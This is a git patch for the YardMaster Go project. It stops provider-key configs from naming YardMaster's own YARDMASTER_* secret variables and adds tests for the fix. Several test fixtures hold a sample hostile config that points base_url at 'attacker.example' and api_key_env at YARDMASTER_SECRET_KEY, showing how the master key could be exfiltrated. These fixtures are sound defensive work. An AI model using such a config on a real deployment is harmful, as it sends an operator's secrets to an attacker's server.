From ceade81098ecfb17e65acd3661ca36bc02a5ca9b Mon Sep 17 00:00:00 2001 From: Matt Brichese <647309+bricke@users.noreply.github.com> Date: Fri, 9 Oct 2026 15:48:22 -0700 Subject: [PATCH] Refuse YARDMASTER_* variables as provider key names A config's api_key_env could name any variable in the container, and switchyard-server was started with its value. A config naming YARDMASTER_SECRET_KEY, with a base URL of the admin's choosing, would send YardMaster's master key (or proxy secret, or admin password) to that server as a bearer token. Provider keys can no longer be read from YARDMASTER_* variables: the wizard and the preview of hand-written TOML refuse such names, the UI can't store a key under one, and a config already applied with one starts without it. The key status also reports such names as missing, so it no longer tells whether one is set. --- cmd/yardmaster/main_test.go | 14 ++++++++++++++ internal/deploy/apply.go | 4 ++++ internal/deploy/deploy_test.go | 27 +++++++++++++++++++++++++++ internal/deploy/model.go | 2 +- internal/secrets/secrets.go | 26 +++++++++++++++++++++----- internal/secrets/secrets_test.go | 23 +++++++++++++++++++++++ 6 files changed, 90 insertions(+), 6 deletions(-) diff --git a/cmd/yardmaster/main_test.go b/cmd/yardmaster/main_test.go index 323b004..c0c8964 100644 --- a/cmd/yardmaster/main_test.go +++ b/cmd/yardmaster/main_test.go @@ -163,6 +163,20 @@ func TestSwitchyardEnvPassesOnlyWhatSwitchyardNeeds(t *testing.T) { t.Errorf("env contains %q:\n%s", leak, joined) } } + + // A hand-written config can't name YardMaster's own variables either. + os.WriteFile(config, []byte(`[llm_clients.evil] +format = "openai_chat" +base_url = "https://attacker.example/v1" +api_key_env = "YARDMASTER_SECRET_KEY" +`), 0o600) + env, err = switchyardEnv(keys)(config) + if err != nil { + t.Fatal(err) + } + if joined := strings.Join(env, "\n"); strings.Contains(joined, "must-not-leak") { + t.Errorf("a config naming YARDMASTER_SECRET_KEY got its value:\n%s", joined) + } } func TestFirstAdmin(t *testing.T) { diff --git a/internal/deploy/apply.go b/internal/deploy/apply.go index 2b14b0c..6eff2c9 100644 --- a/internal/deploy/apply.go +++ b/internal/deploy/apply.go @@ -119,6 +119,10 @@ func (a *Applier) Preview(ctx context.Context, candidate string) (*Preview, erro return p, nil } for _, name := range parsed.KeyEnvNames() { + if !secrets.ValidName(name) { + p.Errors = fmt.Sprintf("api_key_env %q can't hold a provider key: use a variable name like OPENROUTER_API_KEY, outside YARDMASTER_*", name) + return p, nil + } status, err := a.keys.Status(name) if err != nil { return nil, err diff --git a/internal/deploy/deploy_test.go b/internal/deploy/deploy_test.go index c47fca0..a96ebc3 100644 --- a/internal/deploy/deploy_test.go +++ b/internal/deploy/deploy_test.go @@ -6,6 +6,8 @@ import ( "path/filepath" "strings" "testing" + + "yardmaster/internal/secrets" ) func f(v float64) *float64 { return &v } @@ -224,3 +226,28 @@ func TestIsJev(t *testing.T) { } } } + +func TestYardMasterVariablesCantHoldKeys(t *testing.T) { + d := sample() + d.Clients[0].KeyEnv = "YARDMASTER_SECRET_KEY" + if err := d.Validate(); err == nil || !strings.Contains(err.Error(), "outside YARDMASTER_*") { + t.Errorf("wizard: %v", err) + } + + keys, err := secrets.Open(t.TempDir(), "") + if err != nil { + t.Fatal(err) + } + a := &Applier{keys: keys, configPath: filepath.Join(t.TempDir(), "config.toml")} + p, err := a.Preview(t.Context(), `[llm_clients.evil] +format = "openai_chat" +base_url = "https://attacker.example/v1" +api_key_env = "YARDMASTER_SECRET_KEY" +`) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(p.Errors, `"YARDMASTER_SECRET_KEY" can't hold a provider key`) { + t.Errorf("raw TOML: errors %q", p.Errors) + } +} diff --git a/internal/deploy/model.go b/internal/deploy/model.go index b53ff4b..2494099 100644 --- a/internal/deploy/model.go +++ b/internal/deploy/model.go @@ -160,7 +160,7 @@ func (d *Deployment) Validate() error { switch c.Auth { case AuthKey: if !secrets.ValidName(c.KeyEnv) { - add("provider %q: key variable must look like OPENROUTER_API_KEY", c.Name) + add("provider %q: key variable must look like OPENROUTER_API_KEY, outside YARDMASTER_*", c.Name) } case AuthNone: default: diff --git a/internal/secrets/secrets.go b/internal/secrets/secrets.go index 85ad123..1f9541a 100644 --- a/internal/secrets/secrets.go +++ b/internal/secrets/secrets.go @@ -60,8 +60,16 @@ const ( var envNamePattern = regexp.MustCompile(`^[A-Z_][A-Z0-9_]{0,127}$`) -// ValidName reports whether name can be used as an environment variable name. -func ValidName(name string) bool { return envNamePattern.MatchString(name) } +// reservedPrefix names YardMaster's own settings, among them its secrets (master key, +// proxy secret, admin password). No provider key can be read from one. +const reservedPrefix = "YARDMASTER_" + +// ValidName reports whether name can hold a provider key: an environment variable name +// outside YARDMASTER_*. A config naming one of YardMaster's own variables would otherwise +// hand its value to switchyard-server, which sends it to the provider's base URL. +func ValidName(name string) bool { + return envNamePattern.MatchString(name) && !strings.HasPrefix(name, reservedPrefix) +} // Store holds UI-set keys. type Store struct { @@ -164,8 +172,12 @@ func splitPassphraseFile(raw []byte) (salt, sealed []byte, ok bool) { // Encrypted reports whether keys are encrypted at rest. func (s *Store) Encrypted() bool { return s.aead != nil } -// Status reports where the value for an environment variable name comes from. +// Status reports where the value for an environment variable name comes from. An invalid +// name is always missing, so the status never tells whether a reserved variable is set. func (s *Store) Status(name string) (string, error) { + if !ValidName(name) { + return Missing, nil + } if v, ok := s.lookup(name); ok && v != "" { return FromEnv, nil } @@ -185,7 +197,7 @@ func (s *Store) Status(name string) (string, error) { // that value takes precedence and the UI treats it as read-only. func (s *Store) Set(name, value string) error { if !ValidName(name) { - return fmt.Errorf("%q isn't a valid environment variable name", name) + return fmt.Errorf("%q can't hold a provider key: use a variable name like OPENROUTER_API_KEY, outside YARDMASTER_*", name) } if value == "" { return errors.New("the key is empty") @@ -216,7 +228,8 @@ func (s *Store) Delete(name string) error { } // Env returns NAME=value pairs for the given names, for switchyard-server's environment. -// Container environment values win over UI-set ones. Missing names are left out. +// Container environment values win over UI-set ones. Missing and invalid names are left +// out. func (s *Store) Env(names []string) ([]string, error) { s.mu.Lock() keys, err := s.load() @@ -227,6 +240,9 @@ func (s *Store) Env(names []string) ([]string, error) { sort.Strings(names) var out []string for _, name := range names { + if !ValidName(name) { + continue + } if v, ok := s.lookup(name); ok && v != "" { out = append(out, name+"="+v) } else if v := keys[name]; v != "" { diff --git a/internal/secrets/secrets_test.go b/internal/secrets/secrets_test.go index a0c99a7..9748a9e 100644 --- a/internal/secrets/secrets_test.go +++ b/internal/secrets/secrets_test.go @@ -153,3 +153,26 @@ func TestRawKeyKeepsItsFormat(t *testing.T) { t.Fatalf("raw key on a passphrase file: %v", err) } } + +func TestYardMasterVariablesCantHoldKeys(t *testing.T) { + s, err := Open(t.TempDir(), "") + if err != nil { + t.Fatal(err) + } + s.lookup = func(name string) (string, bool) { + if name == "YARDMASTER_SECRET_KEY" { + return "the-master-key", true + } + return "", false + } + if err := s.Set("YARDMASTER_PROXY_SECRET", "x"); err == nil { + t.Error("a key was stored under a YARDMASTER_ name") + } + // The status doesn't tell whether the variable is set. + if st, _ := s.Status("YARDMASTER_SECRET_KEY"); st != Missing { + t.Errorf("status %s, want %s", st, Missing) + } + if env, _ := s.Env([]string{"YARDMASTER_SECRET_KEY"}); len(env) != 0 { + t.Errorf("YardMaster's own secret reached the env: %v", env) + } +}